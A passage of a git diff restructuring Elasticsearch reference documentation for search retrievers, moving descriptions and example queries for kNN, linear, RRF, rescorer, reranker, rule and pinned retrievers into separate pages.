-    Number of nearest neighbors to return as top hits. This value must be fewer than or equal to `num_candidates`.
-
-
-`num_candidates`
-:   (Required, integer)
-
-    The number of nearest neighbor candidates to consider per shard. Needs to be greater than `k`, or `size` if `k` is omitted, and cannot exceed 10,000. {{es}} collects `num_candidates` results from each shard, then merges them to find the top `k` results. Increasing `num_candidates` tends to improve the accuracy of the final `k` results. Defaults to `Math.min(1.5 * k, 10_000)`.
-
-
-`filter`
-:   (Optional, [query object or list of query objects](/reference/query-languages/querydsl.md))
-
-    Query to filter the documents that can match. The kNN search will return the top `k` documents that also match this filter. The value can be a single query or a list of queries. If `filter` is not provided, all documents are allowed to match.
-
-
-`similarity`
-:   (Optional, float)
-
-    The minimum similarity required for a document to be considered a match. The similarity value calculated relates to the raw [`similarity`](/reference/elasticsearch/mapping-reference/dense-vector.md#dense-vector-similarity) used. Not the document score. The matched documents are then scored according to [`similarity`](/reference/elasticsearch/mapping-reference/dense-vector.md#dense-vector-similarity) and the provided `boost` is applied.
-
-    The `similarity` parameter is the direct vector similarity calculation.
-
-    * `l2_norm`: also known as Euclidean, will include documents where the vector is within the `dims` dimensional hypersphere with radius `similarity` with origin at `query_vector`.
-    * `cosine`, `dot_product`, and `max_inner_product`: Only return vectors where the cosine similarity or dot-product are at least the provided `similarity`.
-
-    Read more here: [knn similarity search](docs-content://solutions/search/vector/knn.md#knn-similarity-search)
-
-
-`rescore_vector`
-:   (Optional, object) Apply oversampling and rescoring to quantized vectors.
-
-::::{note}
-Rescoring only makes sense for quantized vectors; when [quantization](/reference/elasticsearch/mapping-reference/dense-vector.md#dense-vector-quantization) is not used, the original vectors are used for scoring. Rescore option will be ignored for non-quantized `dense_vector` fields.
-::::
-
-
-`oversample`
-:   (Required, float)
-
-    Applies the specified oversample factor to `k` on the approximate kNN search. The approximate kNN search will:
-
-    * Retrieve `num_candidates` candidates per shard.
-    * From these candidates, the top `k * oversample` candidates per shard will be rescored using the original vectors.
-    * The top `k` rescored candidates will be returned.
-
-
-See [oversampling and rescoring quantized vectors](docs-content://solutions/search/vector/knn.md#dense-vector-knn-search-rescoring) for details.
-
-
-### Restrictions [_restrictions_2]
-
-The parameters `query_vector` and `query_vector_builder` cannot be used together.
-
-
-### Example [knn-retriever-example]
-
-```console
-GET /restaurants/_search
-{
-  "retriever": {
-    "knn": { <1>
-      "field": "vector", <2>
-      "query_vector": [10, 22, 77], <3>
-      "k": 10, <4>
-      "num_candidates": 10 <5>
-    }
-  }
-}
-```
-
-1. Configuration for k-nearest neighbor (knn) search, which is based on vector similarity.
-2. Specifies the field name that contains the vectors.
-3. The query vector against which document vectors are compared in the `knn` search.
-4. The number of nearest neighbors to return as top hits. This value must be fewer than or equal to `num_candidates`.
-5. The size of the initial candidate set from which the final `k` nearest neighbors are selected.
-
-
-
-
-## Linear Retriever [linear-retriever]
-
-A retriever that normalizes and linearly combines the scores of other retrievers.
-
-
-#### Parameters [linear-retriever-parameters]
-
-::::{note}
-Either `query` or `retrievers` must be specified.
-Combining `query` and `retrievers` is not supported.
-::::
-
-`query` {applies_to}`stack: ga 9.1`
-:   (Optional, String)
-
-    The query to use when using the [multi-field query format](#multi-field-query-format).
-
-`fields` {applies_to}`stack: ga 9.1`
-:   (Optional, array of strings)
-
-    The fields to query when using the [multi-field query format](#multi-field-query-format).
-    Fields can include boost values using the `^` notation (e.g., `"field^2"`).
-    If not specified, uses the index's default fields from the `index.query.default_field` index setting, which is `*` by default.
-
-`normalizer` {applies_to}`stack: ga 9.1`
-:   (Optional, String)
-
-    The normalizer to use when using the [multi-field query format](#multi-field-query-format).
-    See [normalizers](#linear-retriever-normalizers) for supported values.
-    Required when `query` is specified.
-
-    ::::{warning}
-    Avoid using `none` as that will disable normalization and may bias the result set towards lexical matches.
-    See [field grouping](#multi-field-field-grouping) for more information.
-    ::::
-
-`retrievers`
-:   (Optional, array of objects)
-
-    A list of the sub-retrievers' configuration, that we will take into account and whose result sets we will merge through a weighted sum.
-    Each configuration can have a different weight and normalization depending on the specified retriever.
-
-`rank_window_size`
-:   (Optional, integer)
-
-    This value determines the size of the individual result sets per query. A higher value will improve result relevance at the cost of performance.
-    The final ranked result set is pruned down to the search request’s [size](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#search-size-param).
-    `rank_window_size` must be greater than or equal to `size` and greater than or equal to `1`.
-    Defaults to 10.
-
-`filter`
-:   (Optional, [query object or list of query objects](/reference/query-languages/querydsl.md))
-
-    Applies the specified [boolean query filter](/reference/query-languages/query-dsl/query-dsl-bool-query.md) to all of the specified sub-retrievers, according to each retriever’s specifications.
-
-Each entry in the `retrievers` array specifies the following parameters:
-
-`retriever`
-:   (Required, a `retriever` object)
-
-    Specifies the retriever for which we will compute the top documents for. The retriever will produce `rank_window_size` results, which will later be merged based on the specified `weight` and `normalizer`.
-
-`weight`
-:   (Optional, float)
-
-    The weight that each score of this retriever’s top docs will be multiplied with. Must be greater or equal to 0. Defaults to 1.0.
-
-`normalizer`
-:   (Optional, String)
-
-    Specifies how the retriever’s score will be normalized before applying the specified `weight`.
-    See [normalizers](#linear-retriever-normalizers) for supported values.
-    Defaults to `none`.
-
-See also [this hybrid search example](docs-content://solutions/search/retrievers-examples.md#retrievers-examples-linear-retriever) using a linear retriever on how to independently configure and apply normalizers to retrievers.
-
-#### Normalizers [linear-retriever-normalizers]
-
-The `linear` retriever supports the following normalizers:
-
-* `none`: No normalization
-* `minmax`: Normalizes scores based on the following formula:
-
-    ```
-    score = (score - min) / (max - min)
-    ```
-* `l2_norm`: Normalizes scores using the L2 norm of the score values
-
-
-## RRF Retriever [rrf-retriever]
-
-An [RRF](/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md) retriever returns top documents based on the RRF formula, equally weighting two or more child retrievers.
-Reciprocal rank fusion (RRF) is a method for combining multiple result sets with different relevance indicators into a single result set.
-
-
-#### Parameters [rrf-retriever-parameters]
-
-::::{note}
-Either `query` or `retrievers` must be specified.
-Combining `query` and `retrievers` is not supported.
-::::
-
-`query` {applies_to}`stack: ga 9.1`
-:   (Optional, String)
-
-    The query to use when using the [multi-field query format](#multi-field-query-format).
-
-`fields` {applies_to}`stack: ga 9.1`
-:   (Optional, array of strings)
-
-    The fields to query when using the [multi-field query format](#multi-field-query-format).
-    If not specified, uses the index's default fields from the `index.query.default_field` index setting, which is `*` by default.
-
-`retrievers`
-:   (Optional, array of retriever objects)
-
-    A list of child retrievers to specify which sets of returned top documents will have the RRF formula applied to them.
-    Each child retriever carries an equal weight as part of the RRF formula. Two or more child retrievers are required.
-
-`rank_constant`
-:   (Optional, integer)
-
-    This value determines how much influence documents in individual result sets per query have over the final ranked result set. A higher value indicates that lower ranked documents have more influence. This value must be greater than or equal to `1`. Defaults to `60`.
-
-`rank_window_size`
-:   (Optional, integer)
-
-    This value determines the size of the individual result sets per query.
-    A higher value will improve result relevance at the cost of performance.
-    The final ranked result set is pruned down to the search request’s [size](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#search-size-param).
-    `rank_window_size` must be greater than or equal to `size` and greater than or equal to `1`.
-    Defaults to 10.
-
-`filter`
-:   (Optional, [query object or list of query objects](/reference/query-languages/querydsl.md))
-
-    Applies the specified [boolean query filter](/reference/query-languages/query-dsl/query-dsl-bool-query.md) to all of the specified sub-retrievers, according to each retriever’s specifications.
-
-### Example: Hybrid search [rrf-retriever-example-hybrid]
-
-A simple hybrid search example (lexical search + dense vector search) combining a `standard` retriever with a `knn` retriever using RRF:
-
-```console
-GET /restaurants/_search
-{
-  "retriever": {
-    "rrf": { <1>
-      "retrievers": [ <2>
-        {
-          "standard": { <3>
-            "query": {
-              "multi_match": {
-                "query": "Austria",
-                "fields": [
-                  "city",
-                  "region"
-                ]
-              }
-            }
-          }
-        },
-        {
-          "knn": { <4>
-            "field": "vector",
-            "query_vector": [10, 22, 77],
-            "k": 10,
-            "num_candidates": 10
-          }
-        }
-      ],
-      "rank_constant": 1, <5>
-      "rank_window_size": 50  <6>
-    }
-  }
-}
-```
-
-1. Defines a retriever tree with an RRF retriever.
-2. The sub-retriever array.
-3. The first sub-retriever is a `standard` retriever.
-4. The second sub-retriever is a `knn` retriever.
-5. The rank constant for the RRF retriever.
-6. The rank window size for the RRF retriever.
-
-
-
-### Example: Hybrid search with sparse vectors [rrf-retriever-example-hybrid-sparse]
-
-A more complex hybrid search example (lexical search + ELSER sparse vector search + dense vector search) using RRF:
-
-```console
-GET movies/_search
-{
-  "retriever": {
-    "rrf": {
-      "retrievers": [
-        {
-          "standard": {
-            "query": {
-              "sparse_vector": {
-                "field": "plot_embedding",
-                "inference_id": "my-elser-model",
-                "query": "films that explore psychological depths"
-              }
-            }
-          }
-        },
-        {
-          "standard": {
-            "query": {
-              "multi_match": {
-                "query": "crime",
-                "fields": [
-                  "plot",
-                  "title"
-                ]
-              }
-            }
-          }
-        },
-        {
-          "knn": {
-            "field": "vector",
-            "query_vector": [10, 22, 77],
-            "k": 10,
-            "num_candidates": 10
-          }
-        }
-      ]
-    }
-  }
-}
-```
-
-
-## Rescorer Retriever [rescorer-retriever]
-
-The `rescorer` retriever re-scores only the results produced by its child retriever. For the `standard` and `knn` retrievers, the `window_size` parameter specifies the number of documents examined per shard.
-
-For compound retrievers like `rrf`, the `window_size` parameter defines the total number of documents examined globally.
-
-When using the `rescorer`, an error is returned if the following conditions are not met:
-
-* The minimum configured rescore’s `window_size` is:
-
-    * Greater than or equal to the `size` of the parent retriever for nested `rescorer` setups.
-    * Greater than or equal to the `size` of the search request when used as the primary retriever in the tree.
-
-* And the maximum rescore’s `window_size` is:
-
-    * Smaller than or equal to the `size` or `rank_window_size` of the child retriever.
-
-
-
-#### Parameters [rescorer-retriever-parameters]
-
-`rescore`
-:   (Required. [A rescorer definition or an array of rescorer definitions](/reference/elasticsearch/rest-apis/filter-search-results.md#rescore))
-
-    Defines the [rescorers](/reference/elasticsearch/rest-apis/filter-search-results.md#rescore) applied sequentially to the top documents returned by the child retriever.
-
-
-`retriever`
-:   (Required. `retriever`)
-
-    Specifies the child retriever responsible for generating the initial set of top documents to be re-ranked.
-
-
-`filter`
-:   (Optional. [query object or list of query objects](/reference/query-languages/querydsl.md))
-
-    Applies a [boolean query filter](/reference/query-languages/query-dsl/query-dsl-bool-query.md) to the retriever, ensuring that all documents match the filter criteria without affecting their scores.
-
-
-
-### Example [rescorer-retriever-example]
-
-The `rescorer` retriever can be placed at any level within the retriever tree. The following example demonstrates a `rescorer` applied to the results produced by an `rrf` retriever:
-
-```console
-GET movies/_search
-{
-  "size": 10, <1>
-  "retriever": {
-    "rescorer": { <2>
-      "rescore": {
-        "window_size": 50, <3>
-        "query": { <4>
-          "rescore_query": {
-            "script_score": {
-              "query": {
-                "match_all": {}
-              },
-              "script": {
-                "source": "cosineSimilarity(params.queryVector, 'product-vector_final_stage') + 1.0",
-                "params": {
-                  "queryVector": [-0.5, 90.0, -10, 14.8, -156.0]
-                }
-              }
-            }
-          }
-        }
-      },
-      "retriever": { <5>
-        "rrf": {
-          "rank_window_size": 100, <6>
-          "retrievers": [
-            {
-              "standard": {
-                "query": {
-                  "sparse_vector": {
-                    "field": "plot_embedding",
-                    "inference_id": "my-elser-model",
-                    "query": "films that explore psychological depths"
-                  }
-                }
-              }
-            },
-            {
-              "standard": {
-                "query": {
-                  "multi_match": {
-                    "query": "crime",
-                    "fields": [
-                      "plot",
-                      "title"
-                    ]
-                  }
-                }
-              }
-            },
-            {
-              "knn": {
-                "field": "vector",
-                "query_vector": [10, 22, 77],
-                "k": 10,
-                "num_candidates": 10
-              }
-            }
-          ]
-        }
-      }
-    }
-  }
-}
-```
-
-1. Specifies the number of top documents to return in the final response.
-2. A `rescorer` retriever applied as the final step.
-3. Defines the number of documents to rescore from the child retriever.
-4. The definition of the `query` rescorer.
-5. Specifies the child retriever definition.
-6. Defines the number of documents returned by the `rrf` retriever, which limits the available documents to
-
-
-
-## Text Similarity Re-ranker Retriever [text-similarity-reranker-retriever]
-
-The `text_similarity_reranker` retriever uses an NLP model to improve search results by reordering the top-k documents based on their semantic similarity to the query.
-
-::::{tip}
-Refer to [*Semantic re-ranking*](docs-content://solutions/search/ranking/semantic-reranking.md) for a high level overview of semantic re-ranking.
-
-::::
-
-
-### Prerequisites [_prerequisites_15]
-
-To use `text_similarity_reranker`, you can rely on the preconfigured `.rerank-v1-elasticsearch` inference endpoint, which uses the [Elastic Rerank model](docs-content://explore-analyze/machine-learning/nlp/ml-nlp-rerank.md) and serves as the default if no `inference_id` is provided. This model is optimized for reranking based on text similarity. If you'd like to use a different model, you can set up a custom inference endpoint for the `rerank` task using the [Create {{infer}} API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-inference-put). The endpoint should be configured with a machine learning model capable of computing text similarity. Refer to [the Elastic NLP model reference](docs-content://explore-analyze/machine-learning/nlp/ml-nlp-model-ref.md#ml-nlp-model-ref-text-similarity) for a list of third-party text similarity models supported by {{es}}.
-
-You have the following options:
-
-* Use the built-in [Elastic Rerank](docs-content://explore-analyze/machine-learning/nlp/ml-nlp-rerank.md) cross-encoder model via the inference API’s {{es}} service. See [this example](https://www.elastic.co/guide/en/elasticsearch/reference/current/infer-service-elasticsearch.html#inference-example-elastic-reranker) for creating an endpoint using the Elastic Rerank model.
-* Use the [Cohere Rerank inference endpoint](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-inference-put) with the `rerank` task type.
-* Use the [Google Vertex AI inference endpoint](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-inference-put) with the `rerank` task type.
-* Upload a model to {{es}} with [Eland](eland://reference/machine-learning.md#ml-nlp-pytorch) using the `text_similarity` NLP task type.
-
-    * Then set up an [{{es}} service inference endpoint](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-inference-put) with the `rerank` task type.
-    * Refer to the [example](#text-similarity-reranker-retriever-example-eland) on this page for a step-by-step guide.
-
-
-::::{important}
-Scores from the re-ranking process are normalized using the following formula before returned to the user, to avoid having negative scores.
-
-```text
-score = max(score, 0) + min(exp(score), 1)
-```
-
-Using the above, any initially negative scores are projected to (0, 1) and positive scores to [1, infinity). To revert back if needed, one can use:
-
-```text
-score = score - 1, if score >= 0
-score = ln(score), if score < 0
-```
-
-::::
-
-
-
-#### Parameters [text-similarity-reranker-retriever-parameters]
-
-`retriever`
-:   (Required, `retriever`)
-
-    The child retriever that generates the initial set of top documents to be re-ranked.
-
-
-`field`
-:   (Required, `string`)
-
-    The document field to be used for text similarity comparisons. This field should contain the text that will be evaluated against the `inferenceText`.
-
-
-`inference_id`
-:   (Optional, `string`)
-
-    Unique identifier of the inference endpoint created using the {{infer}} API. If you don’t specify an inference endpoint, the `inference_id` field defaults to `.rerank-v1-elasticsearch`, a preconfigured endpoint for the elasticsearch `.rerank-v1` model.
-
-
-`inference_text`
-:   (Required, `string`)
-
-    The text snippet used as the basis for similarity comparison.
-
-
-`rank_window_size`
-:   (Optional, `int`)
-
-    The number of top documents to consider in the re-ranking process. Defaults to `10`.
-
-
-`min_score`
-:   (Optional, `float`)
-
-    Sets a minimum threshold score for including documents in the re-ranked results. Documents with similarity scores below this threshold will be excluded. Note that score calculations vary depending on the model used.
-
-
-`filter`
-:   (Optional, [query object or list of query objects](/reference/query-languages/querydsl.md))
-
-    Applies the specified [boolean query filter](/reference/query-languages/query-dsl/query-dsl-bool-query.md) to the child  `retriever`. If the child retriever already specifies any filters, then this top-level filter is applied in conjuction with the filter defined in the child retriever.
-
-
-
-### Example: Elastic Rerank [text-similarity-reranker-retriever-example-elastic-rerank]
-
-::::{tip}
-Refer to this [Python notebook](https://github.com/elastic/elasticsearch-labs/blob/main/notebooks/search/12-semantic-reranking-elastic-rerank.ipynb) for an end-to-end example using Elastic Rerank.
-
-::::
-
-
-This example demonstrates how to deploy the [Elastic Rerank](docs-content://explore-analyze/machine-learning/nlp/ml-nlp-rerank.md) model and use it to re-rank search results using the `text_similarity_reranker` retriever.
-
-Follow these steps:
-
-1. Create an inference endpoint for the `rerank` task using the [Create {{infer}} API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-inference-put).
-
-    ```console
-    PUT _inference/rerank/my-elastic-rerank
-    {
-      "service": "elasticsearch",
-      "service_settings": {
-        "model_id": ".rerank-v1",
-        "num_threads": 1,
-        "adaptive_allocations": { <1>
-          "enabled": true,
-          "min_number_of_allocations": 1,
-          "max_number_of_allocations": 10
-        }
-      }
-    }
-    ```
-
-    1. [Adaptive allocations](docs-content://deploy-manage/autoscaling/trained-model-autoscaling.md#enabling-autoscaling-through-apis-adaptive-allocations) will be enabled with the minimum of 1 and the maximum of 10 allocations.
-
-2. Define a `text_similarity_rerank` retriever:
-
-    ```console
-    POST _search
-    {
-      "retriever": {
-        "text_similarity_reranker": {
-          "retriever": {
-            "standard": {
-              "query": {
-                "match": {
-                  "text": "How often does the moon hide the sun?"
-                }
-              }
-            }
-          },
-          "field": "text",
-          "inference_id": "my-elastic-rerank",
-          "inference_text": "How often does the moon hide the sun?",
-          "rank_window_size": 100,
-          "min_score": 0.5
-        }
-      }
-    }
-    ```
-
-
-
-### Example: Cohere Rerank [text-similarity-reranker-retriever-example-cohere]
-
-This example enables out-of-the-box semantic search by re-ranking top documents using the Cohere Rerank API. This approach eliminates the need to generate and store embeddings for all indexed documents. This requires a [Cohere Rerank inference endpoint](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-inference-put) that is set up for the `rerank` task type.
-
-```console
-GET /index/_search
-{
-   "retriever": {
-      "text_similarity_reranker": {
-         "retriever": {
-            "standard": {
-               "query": {
-                  "match_phrase": {
-                     "text": "landmark in Paris"
-                  }
-               }
-            }
-         },
-         "field": "text",
-         "inference_id": "my-cohere-rerank-model",
-         "inference_text": "Most famous landmark in Paris",
-         "rank_window_size": 100,
-         "min_score": 0.5
-      }
-   }
-}
-```
-
-
-### Example: Semantic re-ranking with a Hugging Face model [text-similarity-reranker-retriever-example-eland]
-
-The following example uses the `cross-encoder/ms-marco-MiniLM-L-6-v2` model from Hugging Face to rerank search results based on semantic similarity. The model must be uploaded to {{es}} using [Eland](eland://reference/machine-learning.md#ml-nlp-pytorch).
-
-::::{tip}
-Refer to [the Elastic NLP model reference](docs-content://explore-analyze/machine-learning/nlp/ml-nlp-model-ref.md#ml-nlp-model-ref-text-similarity) for a list of third party text similarity models supported by {{es}}.
-
-::::
-
-
-Follow these steps to load the model and create a semantic re-ranker.
-
-1. Install Eland using `pip`
-
-    ```sh
-    python -m pip install eland[pytorch]
-    ```
-
-2. Upload the model to {{es}} using Eland. This example assumes you have an Elastic Cloud deployment and an API key. Refer to the [Eland documentation](eland://reference/machine-learning.md#ml-nlp-pytorch-auth) for more authentication options.
-
-    ```sh
-    eland_import_hub_model \
-      --cloud-id $CLOUD_ID \
-      --es-api-key $ES_API_KEY \
-      --hub-model-id cross-encoder/ms-marco-MiniLM-L-6-v2 \
-      --task-type text_similarity \
-      --clear-previous \
-      --start
-    ```
-
-3. Create an inference endpoint for the `rerank` task
-
-    ```console
-    PUT _inference/rerank/my-msmarco-minilm-model
-    {
-      "service": "elasticsearch",
-      "service_settings": {
-        "num_allocations": 1,
-        "num_threads": 1,
-        "model_id": "cross-encoder__ms-marco-minilm-l-6-v2"
-      }
-    }
-    ```
-
-4. Define a `text_similarity_rerank` retriever.
-
-    ```console
-    POST movies/_search
-    {
-      "retriever": {
-        "text_similarity_reranker": {
-          "retriever": {
-            "standard": {
-              "query": {
-                "match": {
-                  "genre": "drama"
-                }
-              }
-            }
-          },
-          "field": "plot",
-          "inference_id": "my-msmarco-minilm-model",
-          "inference_text": "films that explore psychological depths"
-        }
-      }
-    }
-    ```
+:   The [rule](retrievers/rule-retriever.md) retriever applies contextual [Searching with query rules](/reference/elasticsearch/rest-apis/searching-with-query-rules.md#query-rules) to pin or exclude documents for specific queries.
 
-    This retriever uses a standard `match` query to search the `movie` index for films tagged with the genre "drama". It then re-ranks the results based on semantic similarity to the text in the `inference_text` parameter, using the model we uploaded to {{es}}.
-
-
-
-
-## Query Rules Retriever [rule-retriever]
-
-The `rule` retriever enables fine-grained control over search results by applying contextual [query rules](/reference/elasticsearch/rest-apis/searching-with-query-rules.md#query-rules) to pin or exclude documents for specific queries. This retriever has similar functionality to the [rule query](/reference/query-languages/query-dsl/query-dsl-rule-query.md), but works out of the box with other retrievers.
-
-### Prerequisites [_prerequisites_16]
-
-To use the `rule` retriever you must first create one or more query rulesets using the [query rules management APIs](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-query_rules).
-
-
-#### Parameters [rule-retriever-parameters]
-
-`retriever`
-:   (Required, `retriever`)
-
-    The child retriever that returns the results to apply query rules on top of. This can be a standalone retriever such as the [standard](#standard-retriever) or [knn](#knn-retriever) retriever, or it can be a compound retriever.
-
-
-`ruleset_ids`
-:   (Required, `array`)
-
-    An array of one or more unique [query ruleset](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-query_rules) IDs with query-based rules to match and apply as applicable. Rulesets and their associated rules are evaluated in the order in which they are specified in the query and ruleset. The maximum number of rulesets to specify is 10.
-
-
-`match_criteria`
-:   (Required, `object`)
-
-    Defines the match criteria to apply to rules in the given query ruleset(s). Match criteria should match the keys defined in the `criteria.metadata` field of the rule.
-
-
-`rank_window_size`
-:   (Optional, `int`)
-
-    The number of top documents to return from the `rule` retriever. Defaults to `10`.
-
-
-
-### Example: Rule retriever [rule-retriever-example]
-
-This example shows the rule retriever executed without any additional retrievers. It runs the query defined by the `retriever` and applies the rules from `my-ruleset` on top of the returned results.
-
-```console
-GET movies/_search
-{
-  "retriever": {
-    "rule": {
-      "match_criteria": {
-        "query_string": "harry potter"
-      },
-      "ruleset_ids": [
-        "my-ruleset"
-      ],
-      "retriever": {
-        "standard": {
-          "query": {
-            "query_string": {
-              "query": "harry potter"
-            }
-          }
-        }
-      }
-    }
-  }
-}
-```
-
-
-### Example: Rule retriever combined with RRF [rule-retriever-example-rrf]
-
-This example shows how to combine the `rule` retriever with other rerank retrievers such as [rrf](#rrf-retriever) or [text_similarity_reranker](#text-similarity-reranker-retriever).
-
-::::{warning}
-The `rule` retriever will apply rules to any documents returned from its defined `retriever` or any of its sub-retrievers. This means that for the best results, the `rule` retriever should be the outermost defined retriever. Nesting a `rule` retriever as a sub-retriever under a reranker such as `rrf` or `text_similarity_reranker` may not produce the expected results.
-
-::::
-
-
-```console
-GET movies/_search
-{
-  "retriever": {
-    "rule": { <1>
-      "match_criteria": {
-        "query_string": "harry potter"
-      },
-      "ruleset_ids": [
-        "my-ruleset"
-      ],
-      "retriever": {
-        "rrf": { <2>
-          "retrievers": [
-            {
-              "standard": {
-                "query": {
-                  "query_string": {
-                    "query": "sorcerer's stone"
-                  }
-                }
-              }
-            },
-            {
-              "standard": {
-                "query": {
-                  "query_string": {
-                    "query": "chamber of secrets"
-                  }
-                }
-              }
-            }
-          ]
-        }
-      }
-    }
-  }
-}
-```
-
-1. The `rule` retriever is the outermost retriever, applying rules to the search results that were previously reranked using the `rrf` retriever.
-2. The `rrf` retriever returns results from all of its sub-retrievers, and the output of the `rrf` retriever is used as input to the `rule` retriever.
+`standard`
+:   The [standard](retrievers/standard-retriever.md) retriever replaces the functionality of a traditional [query](/reference/query-languages/querydsl.md).
 
-## Pinned Retriever [pinned-retriever]
-```yaml {applies_to}
-stack: ga 9.1
-```
+`text_similarity_reranker`
+:   The [text_similarity_reranker](retrievers/text-similarity-reranker-retriever.md) retriever enhances search results by re-ranking documents based on semantic similarity to a specified inference text, using a machine learning model.
 
+## Common usage guidelines [retriever-common-parameters]
 
-A `pinned` retriever returns top documents by always placing specific documents at the top of the results, with the remaining hits provided by a secondary retriever. This retriever offers similar functionality to the [pinned query](/reference/query-languages/query-dsl/query-dsl-pinned-query.md), but works seamlessly with other retrievers. This is useful for promoting certain documents for particular queries, regardless of their relevance score.
 
-#### Parameters [pinned-retriever-parameters]
+### Using `from` and `size` with a retriever tree [retriever-size-pagination]
 
-`ids`
-:   (Optional, array of strings)
+The [`from`](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#search-from-param) and [`size`](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#search-size-param) parameters are provided globally as part of the general [search API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search). They are applied to all retrievers in a retriever tree, unless a specific retriever overrides the `size` parameter using a different parameter such as `rank_window_size`. Though, the final search hits are always limited to `size`.
 
-    A list of document IDs to pin at the top of the results, in the order provided.
 
-`docs`
-:   (Optional, array of objects)
+### Using aggregations with a retriever tree [retriever-aggregations]
 
-    A list of objects specifying documents to pin. Each object must contain at least an `_id` field, and may also specify `_index` if pinning documents across multiple indices.
+[Aggregations](/reference/aggregations/index.md) are globally specified as part of a search request. The query used for an aggregation is the combination of all leaf retrievers as `should` clauses in a [boolean query](/reference/query-languages/query-dsl/query-dsl-bool-query.md).
 
-`retriever`
-:   (Optional, retriever object)
 
-    A retriever (for example a `standard` retriever or a specialized retriever such as `rrf` retriever) used to retrieve the remaining documents after the pinned ones.
+### Restrictions on search parameters when specifying a retriever [retriever-restrictions]
 
-Either `ids` or `docs` must be specified.
+When a retriever is specified as part of a search, the following elements are not allowed at the top-level:
 
-### Example using `docs` [pinned-retriever-example-documents]
+* [`query`](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#request-body-search-query)
+* [`knn`](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#search-api-knn)
+* [`search_after`](/reference/elasticsearch/rest-apis/paginate-search-results.md#search-after)
+* [`terminate_after`](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#request-body-search-terminate-after)
+* [`sort`](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#search-sort-param)
+* [`rescore`](/reference/elasticsearch/rest-apis/filter-search-results.md#rescore) use a [rescorer retriever](retrievers/rescorer-retriever.md) instead
 
-```console
-GET /restaurants/_search
-{
-  "retriever": {
-    "pinned": {
-      "docs": [
-        { "_id": "doc1", "_index": "my-index" },
-        { "_id": "doc2" }
-      ],
-      "retriever": {
-        "standard": {
-          "query": {
-            "match": {
-              "title": "elasticsearch"
-            }
-          }
-        }
-      }
-    }
-  }
-}
-```
 
 ## Multi-field query format [multi-field-query-format]
 ```yaml {applies_to}
 stack: ga 9.1
 ```
 
-The `linear` and `rrf` retrievers support a multi-field query format that provides a simplified way to define searches across multiple fields without explicitly specifying inner retrievers.
+The [`linear`](retrievers/linear-retriever.md) and [`rrf`](retrievers/rrf-retriever.md) retrievers support a multi-field query format that provides a simplified way to define searches across multiple fields without explicitly specifying inner retrievers.
 This format automatically generates appropriate inner retrievers based on the field types and query parameters.
 This is a great way to search an index, knowing little to nothing about its schema, while also handling normalization across lexical and semantic matches.
 
@@ -1201,28 +239,4 @@ Note, however, that wildcard field patterns will only resolve to fields that eit
 ### Examples
 
 - [RRF with the multi-field query format](docs-content://solutions/search/retrievers-examples.md#retrievers-examples-rrf-multi-field-query-format)
-- [Linear retriever with the multi-field query format](docs-content://solutions/search/retrievers-examples.md#retrievers-examples-linear-multi-field-query-format)
-
-## Common usage guidelines [retriever-common-parameters]
-
-
-### Using `from` and `size` with a retriever tree [retriever-size-pagination]
-
-The [`from`](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#search-from-param) and [`size`](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#search-size-param) parameters are provided globally as part of the general [search API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search). They are applied to all retrievers in a retriever tree, unless a specific retriever overrides the `size` parameter using a different parameter such as `rank_window_size`. Though, the final search hits are always limited to `size`.
-
-
-### Using aggregations with a retriever tree [retriever-aggregations]
-
-[Aggregations](/reference/aggregations/index.md) are globally specified as part of a search request. The query used for an aggregation is the combination of all leaf retrievers as `should` clauses in a [boolean query](/reference/query-languages/query-dsl/query-dsl-bool-query.md).
-
-
-### Restrictions on search parameters when specifying a retriever [retriever-restrictions]
-
-When a retriever is specified as part of a search, the following elements are not allowed at the top-level:
-
-* [`query`](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#request-body-search-query)
-* [`knn`](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#search-api-knn)
-* [`search_after`](/reference/elasticsearch/rest-apis/paginate-search-results.md#search-after)
-* [`terminate_after`](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#request-body-search-terminate-after)
-* [`sort`](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#search-sort-param)
-* [`rescore`](/reference/elasticsearch/rest-apis/filter-search-results.md#rescore) use a [rescorer retriever](#rescorer-retriever) instead
+- [Linear retriever with the multi-field query format](docs-content://solutions/search/retrievers-examples.md#retrievers-examples-linear-multi-field-query-format)
\ No newline at end of file
diff --git a/docs/reference/elasticsearch/rest-apis/retrievers/knn-retriever.md b/docs/reference/elasticsearch/rest-apis/retrievers/knn-retriever.md
new file mode 100644
index 0000000000000..817f4d3fab681
--- /dev/null
+++ b/docs/reference/elasticsearch/rest-apis/retrievers/knn-retriever.md
@@ -0,0 +1,109 @@
+---
+applies_to:
+ stack: all
+ serverless: ga
+---
+
+# kNN retriever [knn-retriever]
+
+A kNN retriever returns top documents from a [k-nearest neighbor search (kNN)](docs-content://solutions/search/vector/knn.md).
+
+
+## Parameters [knn-retriever-parameters]
+
+`field`
+:   (Required, string)
+
+    The name of the vector field to search against. Must be a [`dense_vector` field with indexing enabled](/reference/elasticsearch/mapping-reference/dense-vector.md#index-vectors-knn-search).
+
+
+`query_vector`
+:   (Required if `query_vector_builder` is not defined, array of `float`)
+
+    Query vector. Must have the same number of dimensions as the vector field you are searching against. Must be either an array of floats or a hex-encoded byte vector.
